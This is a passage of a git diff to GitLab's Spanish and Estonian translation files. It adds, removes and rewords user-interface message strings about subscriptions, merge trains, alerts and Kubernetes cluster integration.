+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "No podrás actualizar o enviar código al proyecto a través de %{protoc
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "No podrá actualizar o enviar código al proyecto a través de SSH hasta que no agregue una clave SSH a su perfil"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr "Se cerrará la sesión de su cuenta actual de forma automática."
@@ -27991,7 +28811,7 @@ msgstr "Este correo electrónico se utilizará para operaciones basadas en la we
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr "Tu dirección de correo electrónico de notificación por defecto se utilizará para las notificaciones de la cuenta si no se establece una dirección de correo electrónico específica para el %{openingTag}grupo%{closingTag}."
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr "Tus grupos"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr "compartido previamente con este grupo"
msgid "among other things"
msgstr "entre otras cosas"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr "commit %{commit_id}"
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "Va a desactivar la confidencialidad. Esto significa que <strong>todos</strong> podrán ver y dejar un comentario sobre este tema."
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "Va a activar la confidencialidad. Esto significa que solo los miembros del equipo con como mínimo,<strong>acceso como Reporter</strong> podrán ver y dejar comentarios sobre la incidencia."
-
msgid "connecting"
msgstr "conectando"
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr "de"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr "grupo"
@@ -28745,9 +29570,6 @@ msgstr "en el grupo %{link_to_group}"
msgid "in project %{link_to_project}"
msgstr "en el proyecto %{link_to_project}"
-msgid "index"
-msgstr "índice"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "instancia completada"
@@ -28789,6 +29611,9 @@ msgstr "no es un certificado X509 válido."
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr "no es un correo electrónico de su propiedad"
@@ -28938,9 +29763,15 @@ msgstr "%{metricsLinkStart} El uso de la memoria %{metricsLinkEnd} es %{emphasis
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "Permitir que los commits de los miembros se pueden mergear con la rama de destino"
@@ -28953,6 +29784,9 @@ msgstr "Se ha producido un error al recuperar los datos de aprobación para este
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Se ha producido un error al enviar su aprobación."
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "La contraseña de aprobación no es correcta."
@@ -29025,9 +29859,6 @@ msgstr "Si el branch %{branch} existe en su repositorio local, puede hacer un me
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Si el branch %{missingBranchName} existe en su repositorio local, puede hacer un merge de la solicitud de merge request manualmente utilizando la línea de comandos"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr "Merge realizado por"
msgid "mrWidget|More information"
msgstr "Más información"
-msgid "mrWidget|No approval required"
-msgstr "No se requiere ninguna aprobación"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "No se requiere ninguna aprobación; todavía puede aprobar"
-
msgid "mrWidget|Open in Web IDE"
msgstr "Abrir en Web IDE"
@@ -29148,6 +29973,12 @@ msgstr "El branch de origen no será eliminado"
msgid "mrWidget|There are merge conflicts"
msgstr "Hay conflictos de merge"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
@@ -29157,12 +29988,6 @@ msgstr "Esta merge request no se realizó automáticamente"
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "Este merge request está en proceso de ser realizado"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "Este proyecto está archivado, se ha deshabilitado el acceso de escritura"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr "acciones rápidas"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "registrar"
@@ -29416,9 +30244,6 @@ msgstr "revisado"
msgid "satisfied"
msgstr "satisfecho"
-msgid "score"
-msgstr "puntuación"
-
msgid "security Reports|There was an error creating the merge request"
msgstr "Se ha producido un error al crear el merge request"
@@ -29536,6 +30361,9 @@ msgstr "la siguiente incidencia(s)"
msgid "this document"
msgstr "este documento"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "¡Para ayudar a sus colaboradores a comunicarse de manera efectiva!"
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr "disparado"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr "los dominios unicode deben utilizar codificación IDNA"
@@ -29617,6 +30448,9 @@ msgstr "Agregar un comentario"
msgid "vulnerability|Add comment & dismiss"
msgstr "Añadir comentario y descartar"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "Descartar vulnerabilidad"
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index d7466714eee..7be776f2840 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:39\n"
+"PO-Revision-Date: 2020-09-04 23:03\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
